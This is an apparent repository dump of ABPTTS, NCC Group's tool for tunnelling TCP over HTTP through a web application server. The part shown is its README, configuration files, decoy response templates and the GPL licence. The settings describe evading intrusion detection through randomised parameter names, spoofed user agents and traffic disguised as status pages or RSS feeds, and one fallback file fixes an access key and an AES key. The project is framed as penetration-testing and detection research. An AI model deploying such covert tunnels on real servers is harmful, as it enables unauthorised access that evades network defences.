├── settings_overlays ├── settings-key_as_post_param.txt ├── settings_overlay-plaintext.txt ├── settings-high_throughput.txt ├── settings-low_throughput.txt └── settings_overlay-lan.txt ├── ABPTTS-Manual.pdf ├── template ├── war │ ├── META-INF │ │ └── MANIFEST.MF │ └── WEB-INF │ │ └── web.xml ├── response_wrapper.html ├── response_wrapper-rss.html ├── response_wrapper-alt.html ├── abptts.jsp └── abptts.aspx ├── README.md ├── data ├── settings-fallback.txt ├── user-agents.txt └── settings-default.txt ├── license.txt ├── abpttsfactory.py ├── abpttsclient.py └── libabptts.py /settings_overlays/settings-key_as_post_param.txt: -------------------------------------------------------------------------------- 1 | accessKeyMode:::::::postparam -------------------------------------------------------------------------------- /settings_overlays/settings_overlay-plaintext.txt: -------------------------------------------------------------------------------- 1 | encryptionKeyHex::::::: 2 | -------------------------------------------------------------------------------- /ABPTTS-Manual.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/nccgroup/ABPTTS/HEAD/ABPTTS-Manual.pdf -------------------------------------------------------------------------------- /settings_overlays/settings-high_throughput.txt: -------------------------------------------------------------------------------- 1 | clientBlockSizeLimitFromServer:::::::6553600 -------------------------------------------------------------------------------- /settings_overlays/settings-low_throughput.txt: -------------------------------------------------------------------------------- 1 | clientBlockSizeLimitFromServer:::::::8192 2 | -------------------------------------------------------------------------------- /template/war/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Created-By: 1.6.0_10 (Sun Microsystems Inc.) 3 | 4 | -------------------------------------------------------------------------------- /template/response_wrapper.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | System Status API 4 | 5 | 6 |
 7 | %ABPTTS_RESPONSE_CONTENT%
 8 | 
9 | 10 | -------------------------------------------------------------------------------- /settings_overlays/settings_overlay-lan.txt: -------------------------------------------------------------------------------- 1 | # Higher-throughput settings for use when connected to the server via 2 | # a LAN. 3 | # Using these values over slower networks (e.g. the internet) will 4 | # cause significant issues 5 | clientToServerBlockSize:::::::6553600 6 | serverToClientBlockSize:::::::6553600 7 | #clientToServerBlockSize:::::::655360000 8 | #serverToClientBlockSize:::::::655360000 -------------------------------------------------------------------------------- /template/war/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | %PLACEHOLDER_fileGenerationAppNameShort% 5 | /%PLACEHOLDER_fileGenerationAppNameShort%.jsp 6 | 7 | 8 | 9 | %PLACEHOLDER_fileGenerationAppNameShort% 10 | /%PLACEHOLDER_fileGenerationAppNameShort%/* 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # A Black Path Toward The Sun 2 | (TCP tunneling over HTTP for web application servers) 3 | 4 | https://www.blackhat.com/us-16/arsenal.html#a-black-path-toward-the-sun 5 | 6 | Ben Lincoln, NCC Group, 2016 7 | 8 | ABPTTS uses a Python client script and a web application server page/package[1] 9 | to tunnel TCP traffic over an HTTP/HTTPS connection to a web application 10 | server. In other words, anywhere that one could deploy a web shell, one should 11 | now be able to establish a full TCP tunnel. This permits making RDP, 12 | interactive SSH, Meterpreter, and other connections through the web 13 | application server. 14 | 15 | The communication is designed to be fully compliant with HTTP standards, 16 | meaning that in addition to tunneling *in* through a target web application 17 | server, it can be used to establish an *outbound* connection through 18 | packet-inspecting firewalls. 19 | 20 | A number of novel features are used to make detection of its traffic 21 | challenging. In addition to its usefulness to authorized penetration testers, 22 | it is intended to provide IDS/WPS/WAF developers with a safe, live example of 23 | malicious traffic that evades simplistic regex-pattern-based signature models. 24 | 25 | An extensive manual is provided in PDF form, and walks the user through a 26 | variety of deployment scenarios. 27 | 28 | This tool is released under version 2 of the GPL. 29 | 30 | [1] Currently JSP/WAR and ASP.NET server-side components are included. 31 | 32 | Compare and contrast with: 33 | 34 | - reGeorg (https://github.com/sensepost/reGeorg) 35 | 36 | - HTTP tunnel for Node.js (https://github.com/johncant/node-http-tunnel) 37 | 38 | Named as an oblique reference to Cordyceps/Ophiocordyceps, e.g.: 39 | http://www.insectimages.org/browse/detail.cfm?imgnum=0014287 40 | -------------------------------------------------------------------------------- /data/settings-fallback.txt: -------------------------------------------------------------------------------- 1 | # This file is an overlay used to replace the %RANDOMIZE% placeholders in the default 2 | # file with other values in the unlikely event that someone uses ABPTTS incorrectly. 3 | # 4 | # Do not alter the content of this file. 5 | headerNameKey:::::::x-xsession-id 6 | headerValueKey:::::::tQgGur6TFdW9YMbiyuaj9g6yBJb2tCbcgrEq 7 | encryptionKeyHex:::::::63688c4f211155c76f2948ba21ebaf83 8 | accessKeyMode:::::::header 9 | headerValueUserAgent:::::::Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) 10 | paramNameAccessKey:::::::accesskey 11 | paramNameOperation:::::::op 12 | paramNameDestinationHost:::::::host 13 | paramNameDestinationPort:::::::port 14 | paramNameConnectionID:::::::connection 15 | paramNameData:::::::data 16 | paramNameEncryptedBlock:::::::encryptedblock 17 | opModeStringOpenConnection:::::::open 18 | opModeStringSendReceive:::::::sr 19 | opModeStringCloseConnection:::::::close 20 | responseStringHide:::::::OK 21 | responseStringConnectionCreated:::::::OPENED 22 | responseStringConnectionClosed:::::::CLOSED 23 | responseStringData:::::::DATA 24 | responseStringNoData:::::::NO_DATA 25 | responseStringErrorGeneric:::::::ERROR 26 | responseStringErrorInvalidRequest:::::::ERROR_INVALID_REQUEST 27 | responseStringErrorConnectionNotFound:::::::ERROR_CONNECTION_NOT_FOUND 28 | responseStringErrorConnectionOpenFailed:::::::ERROR_CONNECTION_OPEN_FAILED 29 | responseStringErrorConnectionCloseFailed:::::::ERROR_CONNECTION_CLOSE_FAILED 30 | responseStringErrorConnectionSendFailed:::::::ERROR_CONNECTION_SEND_FAILED 31 | responseStringErrorConnectionReceiveFailed:::::::ERROR_CONNECTION_RECEIVE_FAILED 32 | responseStringErrorDecryptFailed:::::::ERROR_DECRYPT_FAILED 33 | responseStringErrorEncryptFailed:::::::ERROR_ENCRYPT_FAILED 34 | responseStringErrorEncryptionNotSupported:::::::ERROR_ENCRYPTION_NOT_SUPPORTED -------------------------------------------------------------------------------- /template/response_wrapper-rss.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Tech News - aggr3g8r.news 6 | http://technews.aggr3g8r.news/ 7 | The latest news in technology 8 | 9 | 10 | New Windows version promises database filesystem 11 | http://technews.aggr3g8r.news/102937102/?utm_source=rss1.0&utm_medium=feed 12 | Microsoft has revealed that the next version of Windows will include a revolutionary feature in which the traditional "flat" filesystem is replaced by a relational database. This move will - among other things - allow users to assign multiple tags to files and allow searching by one or more tags instead of navigating a folder hierarchy.[AGGREG8RBINARY]TWljcm9zb2Z0IGhhcyByZXZlYWxlZCB0aGF0IHRoZSBuZXh0IHZlcnNpb24gb2YgV2luZG93cyB3aWxsIGluY2x1ZGUgYSByZ[/AGGREG8RBINARY] 13 | 14 | 15 | 16 | Major product has critical security flaws 17 | http://technews.aggr3g8r.news/102937102/?utm_source=rss1.0&utm_medium=feed 18 | Cyberdyne Systems released a critical update today for its flagship 800 series after independent security researchers disclosed critical remote code-execution flaws in the platform.[AGGREG8RBINARY]Q3liZXJkeW5lIFN5c3RlbXMgcmVsZWFzZWQgYSBjcml0aWNhbCB1cGRhdGUgdG9kYXkgZm9yIGl0cyBmbGFnc2hpcCA4MDAg[/AGGREG8RBINARY] 19 | 20 | 21 | 22 | Nerds debate merits of latest Hollywood reboot plans 23 | http://technews.aggr3g8r.news/102940982/?utm_source=rss1.0&utm_medium=feed 24 | Nerds across the globe engaged in a spirited debate over whether the latest 1990s-era entertainment to be "rebooted" by Hollywood would be fantastic or a cataclysmic disaster.[AGGREG8RBINARY]%ABPTTS_RESPONSE_CONTENT%[/AGGREG8RBINARY] 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /data/user-agents.txt: -------------------------------------------------------------------------------- 1 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1) 2 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) 3 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0 4 | Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1 5 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0 6 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705) 7 | Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1 8 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1 9 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) 10 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) 11 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) 12 | Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 13 | Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02 14 | Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1 15 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 16 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 17 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9 18 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 19 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 20 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 21 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 22 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 23 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 24 | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko 25 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 26 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0 27 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9 28 | Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 29 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 30 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 31 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 32 | Mozilla/5.0 (iPad; CPU OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1 33 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7 34 | Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko 35 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0 36 | Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko 37 | Mozilla/5.0 (Windows NT 5.1; rv:43.0) Gecko/20100101 Firefox/43.0 38 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9 39 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; Trident/5.0) -------------------------------------------------------------------------------- /template/response_wrapper-alt.html: -------------------------------------------------------------------------------- 1 | 2 | Newsfeed 3 | 4 | 136 | Welcome to your newsfeed! Once you add some RSS sources to your configuration file on the server, entries from those sources will appear here! 137 | 138 | -------------------------------------------------------------------------------- /data/settings-default.txt: -------------------------------------------------------------------------------- 1 | # This file defines the defaults for all of the ABPTTS settings 2 | # It is implicitly used when generating usable ABPTTS config/server files 3 | # Generally, one should not change settings in this file. Create a copy 4 | # with just the settings that should be changed, and reference that copy 5 | # when creating the package of config/server files. 6 | # 7 | # Some (but not all!) of the settings support randomization via the factory 8 | # script. These have the placeholder value %RANDOMIZE% in this file. The script 9 | # handles assigning the correct type of value to these settings. You can override 10 | # randomization in custom overlay files by specifying values other than %RANDOMIZE% 11 | # 12 | # ABPTTS authentication / encryption 13 | # 14 | # Everything in this section MUST MATCH THE VALUES ON THE SERVER! 15 | # 16 | # HTTP request header name to use for sending the key used to access the ABPTTS 17 | # functionality instead of the dummy response page 18 | # this is lowercase because of httplib2's bad behaviour of converting all custom 19 | # request headers to lowercase. If it were mixed-case in the server configuration, 20 | # but converted to all-lowercase by httplib2, it wouldn't be picked up correctly 21 | # by the server. 22 | headerNameKey:::::::%RANDOMIZE% 23 | # 24 | # HTTP request header value corresponding to the header name defined above 25 | headerValueKey:::::::%RANDOMIZE% 26 | # 27 | # AES-128 encryption key used for ABPTTS-tunneled data (in ASCII hex format) 28 | # Leave blank to disable encryption 29 | encryptionKeyHex:::::::%RANDOMIZE% 30 | 31 | # Send access key as an HTTP header or a POST parameter? 32 | # A header should be slightly less likely to be logged than a POST parameter 33 | # valid values: header, postparam 34 | accessKeyMode:::::::header 35 | 36 | # HTTP anti-detection options 37 | # 38 | # User-Agent spoofing 39 | # note: not very solid spoofing because of httplib2's annoying behaviour of 40 | # making customer header names lowercase. 41 | headerValueUserAgent:::::::%RANDOMIZE% 42 | 43 | 44 | # ABPTTS protocol obfuscation 45 | # 46 | # Everything in this section MUST MATCH THE VALUES ON THE SERVER! 47 | # 48 | # These settings define the various request/response strings used by ABPTTS 49 | # E.g. if paramNameOperation is "op" and opModeStringSendReceive is "sr", 50 | # then when making a "send/receive" request, the (unencrypted) body will 51 | # contain the string "op=sr" 52 | # 53 | # These are redefinable to prevent detection by simplistic pattern-matching 54 | # IDS/IPS/WAF-type devices. I did not want any vendor to be able to claim 55 | # they could "detect" ABPTTS just because they wrote a regex like 56 | # "op=sr&.*connection=.*data=" 57 | # 58 | # request parameter names 59 | paramNameAccessKey:::::::%RANDOMIZE% 60 | paramNameOperation:::::::%RANDOMIZE% 61 | paramNameDestinationHost:::::::%RANDOMIZE% 62 | paramNameDestinationPort:::::::%RANDOMIZE% 63 | paramNameConnectionID:::::::%RANDOMIZE% 64 | paramNameData:::::::%RANDOMIZE% 65 | paramNamePlaintextBlock:::::::%RANDOMIZE% 66 | paramNameEncryptedBlock:::::::%RANDOMIZE% 67 | # 68 | # separator characters to use inside of encrypted blocks, encoded as base64 69 | # These need to either be non-printable ASCII characters, or strings of sufficient 70 | # complexity that they will never appear inside the blocks they are separating. 71 | # It is extremely unlikely that they will ever be visible to an IDS/IPS/WAF-type 72 | # device. 73 | dataBlockNameValueSeparatorB64:::::::%RANDOMIZE% 74 | dataBlockParamSeparatorB64:::::::%RANDOMIZE% 75 | # 76 | # request parameter values for the Operation parameter 77 | opModeStringOpenConnection:::::::%RANDOMIZE% 78 | opModeStringSendReceive:::::::%RANDOMIZE% 79 | opModeStringCloseConnection:::::::%RANDOMIZE% 80 | # 81 | # response codes 82 | responseStringHide:::::::%RANDOMIZE% 83 | responseStringConnectionCreated:::::::%RANDOMIZE% 84 | responseStringConnectionClosed:::::::%RANDOMIZE% 85 | responseStringData:::::::%RANDOMIZE% 86 | responseStringNoData:::::::%RANDOMIZE% 87 | responseStringErrorGeneric:::::::%RANDOMIZE% 88 | responseStringErrorInvalidRequest:::::::%RANDOMIZE% 89 | responseStringErrorConnectionNotFound:::::::%RANDOMIZE% 90 | responseStringErrorConnectionOpenFailed:::::::%RANDOMIZE% 91 | responseStringErrorConnectionCloseFailed:::::::%RANDOMIZE% 92 | responseStringErrorConnectionSendFailed:::::::%RANDOMIZE% 93 | responseStringErrorConnectionReceiveFailed:::::::%RANDOMIZE% 94 | responseStringErrorDecryptFailed:::::::%RANDOMIZE% 95 | responseStringErrorEncryptFailed:::::::%RANDOMIZE% 96 | responseStringErrorEncryptionNotSupported:::::::%RANDOMIZE% 97 | # 98 | # begin/end blocks to wrap the response in 99 | # e.g. to make the server responses look superficially more like a status page, 100 | # forum post, API response, etc. 101 | # these are base64-encoded so that virtually any type of wrapper can be created 102 | # All text in these blocks is stripped by the ABPTTS client before processing 103 | # so make sure they aren't substrings of any of the values above 104 | # 105 | responseStringPrefixB64:::::::PGh0bWw+Cgk8aGVhZD4KCQk8dGl0bGU+U3lzdGVtIFN0YXR1czwvdGl0bGU+Cgk8L2hlYWQ+Cgk8Ym9keT4KPHByZT4K 106 | responseStringSuffixB64:::::::CjwvcHJlPgoJPC9ib2R5Pgo8L2h0bWw+ 107 | 108 | 109 | # Output control 110 | # 111 | # IMPORTANT: log file output is currently unsupported because I spent the 112 | # better part of a day trying to get Python to synchronize file output 113 | # (to avoid out-of-order write operations), and failed. 114 | # Yes, I tried threading.Lock. 115 | # Yes, I also tried multiprocessing.Lock. 116 | # Yes, I tried requiring the acquisition of *both* types of Lock before 117 | # proceeding. 118 | # Yes, I tried explicitly calling flush() on the file object. 119 | # Yes, I tried building a buffer for file output that was monitored by 120 | # a separate thread and flushed to disk periodically. 121 | # Yes, I tried requiring acquisition of both Lock types before updating 122 | # the buffer *and* writing to disk. 123 | # No, none of this prevented write operations from conflicting and 124 | # writing out-of-order data to disk and/or overwriting data in memory 125 | # before it could be written to disk. 126 | # This mainly appeared in debug/verbose output mode, so it's probably 127 | # related to very high-frequency operations. 128 | # I am not going to incorporate a nonstandard library just to make this 129 | # work the way file output and thread-locking should. 130 | # If you want a log, redirect console output :\. 131 | # 132 | # Log file to append output to 133 | logFilePath:::::::ABPTTSClient-log.txt 134 | # 135 | # Write to the log file? 136 | writeToLog:::::::False 137 | # 138 | # Write to stdout? 139 | writeToStandardOut:::::::True 140 | # 141 | # output raw TCP request/response data? 142 | echoData:::::::False 143 | # 144 | # output raw HTTP request/response bodies? 145 | echoHTTPBody:::::::False 146 | # 147 | # output assorted debugging messages? 148 | echoDebugMessages:::::::False 149 | # 150 | # how frequently to provide stats regarding data I/O through the tunnel 151 | # e.g. a value of 100 will cause reporting every time the client has made 100 152 | # send/receive requests to the server. 153 | statsUpdateIterations:::::::100 154 | 155 | 156 | # Low-level network tuning - client-side settings 157 | # 158 | # maximum number of bytes to send to the server component in each send/receive operation 159 | # see the description for the corresponding serverToClientBlockSize value, later 160 | # in this file, for a detailed discussion. 161 | # This channel has less impact than that value unless a large amount of data is 162 | # being sent *to* the server, but the concept is the same. 163 | clientToServerBlockSize:::::::32768 164 | # 165 | # size of the TCP buffer to use on the client 166 | clientSocketBufferSize:::::::6553600 167 | # 168 | # initial socket timeout interval 169 | clientSocketTimeoutBase:::::::0.01 170 | #clientSocketTimeoutBase:::::::0.1 171 | # 172 | # If the following value is set to False, then the base timeout will be used continuously 173 | # Otherwise the timeout will be scaled up/down depending on client/server traffic 174 | # (to minimize unnecessary communication) 175 | autoscaleClientSocketTimeout:::::::True 176 | #autoscaleClientSocketTimeout:::::::False 177 | # 178 | # Variation range (as a fraction of the current timeout value) to apply to 179 | # whatever the current interval is 180 | clientSocketTimeoutVariation:::::::0.2 181 | #clientSocketTimeoutVariation:::::::0.0 182 | # 183 | # Multiplier (+/-) to use for autoscaling timeout interval: 184 | #clientSocketTimeoutScalingMultiplier:::::::0.25 185 | clientSocketTimeoutScalingMultiplier:::::::0.1 186 | # 187 | # Maximum timeout to allow the current timeout value to range to when 188 | # auto-scaling the value: 189 | clientSocketTimeoutMax:::::::1.0 190 | # 191 | # Minimum timeout to allow the current timeout value to range to when 192 | # auto-scaling: 193 | clientSocketTimeoutMin:::::::0.01 194 | #clientSocketTimeoutMin:::::::0.1 195 | # 196 | # Quasi-chunking settings 197 | # 198 | # some TCP clients (*cough*SCPonMacOS*cough*) have fragile sockets that are easily 199 | # overloaded. Sending e.g. 2MB (or even 128K, in some cases) of data all at once will 200 | # cause those clients to fail. 201 | # 202 | # Symptoms include e.g.: 203 | # - SCP clients reporting "Corrupted MAC on input. Disconnecting: Packet corrupt" 204 | # - rdesktop audio extremely stuttery, "Fooo!" on stdout 205 | # note: this will still happen to some extent (even if connecting directly 206 | # instead of over an ABPTTS tunnel) if the throughput is too low, but most 207 | # of the audio should make it through. 208 | # 209 | # These settings control the quasi-chunking mechanism I implemented to work around 210 | # this problem, where large blocks are split into smaller ones for relay to the 211 | # client. 212 | # 213 | # Most TCP client software I tested works fine without this mechanism, but I like 214 | # to default to the most reliable configuration, especially because losing a tunnel 215 | # connection during a pen test is extremely frustrating. 216 | # 217 | # Increasing the block size can measurably improve throughput if the client software 218 | # / OS is capable of handling it. 219 | # 220 | # Maximum size of data to send in each blocks to TCP clients connecting to ABPTTS 221 | # MacOS SCP* results: 222 | # 16384 success except in rare cases** 223 | # 32768 success except in rare cases** 224 | # 65536 success most of the time 225 | # 81920 success most of the time 226 | # 98304 consistent failure 227 | # 131072 consistent failure 228 | # 229 | # As reducing the value below 32768 did not appear to provide noticeably greater 230 | # reliability, this value is the default. Feel free to experiment with other values. 231 | # 232 | # * because this was by far the most finnicky TCP client I tested in terms of this 233 | # specific problem 234 | # 235 | # ** stress-testing the tunnel (three simultaneous interactive SSH sessions, each 236 | # of which was continuously looping through a "find /" command, combined with a 237 | # fourth connection to SCP a binary file) would occassionally result in a bad 238 | # transmission 239 | # 240 | # split data into blocks no larger than the following number of bytes 241 | # for sending to TCP clients connected to the client-side component 242 | clientBlockSizeLimitFromServer:::::::16384 243 | # 244 | # Wait time (in seconds) between blocks 245 | # Set to 0.0 to disable waiting between blocks 246 | clientBlockTransmitSleepTime:::::::0.0 247 | 248 | # Low-level network tuning - server-side settings 249 | # 250 | # for server-side languages that do not support automatically selecting IPv4 versus IPv6 as 251 | # necessary, it can be manually specified here in the event that IPv6 should be used from 252 | # the server to other systems. 253 | # Currently this option is only used by the ASP.NET / C# server-side component. 254 | useIPV6ClientSocketOnServer:::::::False 255 | # 256 | # maximum number of bytes to return to the client component in each send/receive operation 257 | # this value is the option which most directly affects the latency/throughput tradeoff of 258 | # the tunnel. 259 | # For example, a relatively low value like 32768 will ensure low enough latency 260 | # even over a relatively slow connection (IE the internet) to keep e.g. MacOS 261 | # SCP happy with the connection, but the throughput will be reduced 262 | # significantly. (approximately 1/7th the throughput versus no cap on this 263 | # value). 264 | # On the other hand, while high values will result in significantly increased 265 | # throughput (making e.g. streaming video over a Windows Remote Desktop practical in 266 | # some cases), the latency of the connection becomes much higher as well, 267 | # especially over a slower connection. During testing, this did not cause 268 | # issues for tunnels over a LAN, but over the internet, the delay due to 269 | # downloading the extremely large HTTP responses from the server did introduce 270 | # reliability issues with the connection. 271 | # recommendation: use a small value such as 32768 unless you are connecting over 272 | # a LAN, in which case you can consider increasing to e.g. 6553600 273 | serverToClientBlockSize:::::::32768 274 | # 275 | # if a socket has not been used in this many iterations (of send/receive requests 276 | # in the same session), consider it abandoned and close it 277 | serverSocketMaxUnusedIterations:::::::1000 278 | # 279 | # timeout value (in milliseconds) for the server socket 280 | # Setting this above 10 is likely to cause issues for Windows Remote Desktop 281 | # and other latency-sensitive applications 282 | serverSocketIOTimeout:::::::10 283 | #serverSocketIOTimeout:::::::1 284 | #serverSocketIOTimeout:::::::1000 285 | # 286 | # size of the TCP send buffer (in bytes) 287 | serverSocketSendBufferSize:::::::6553600 288 | # 289 | # size of the TCP receive buffer (in bytes) 290 | serverSocketReceiveBufferSize:::::::6553600 291 | 292 | 293 | # File-generation settings (for the factory script) 294 | # 295 | # short name to use for the application 296 | # e.g. if this value is FancyServerStatus, then server-side files will be 297 | # named things like FancyServerStatus.jsp, URL-mappings will be things like 298 | # /FancyServerStatus/, etc. 299 | fileGenerationAppNameShort:::::::%RANDOMIZE% 300 | -------------------------------------------------------------------------------- /license.txt: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | 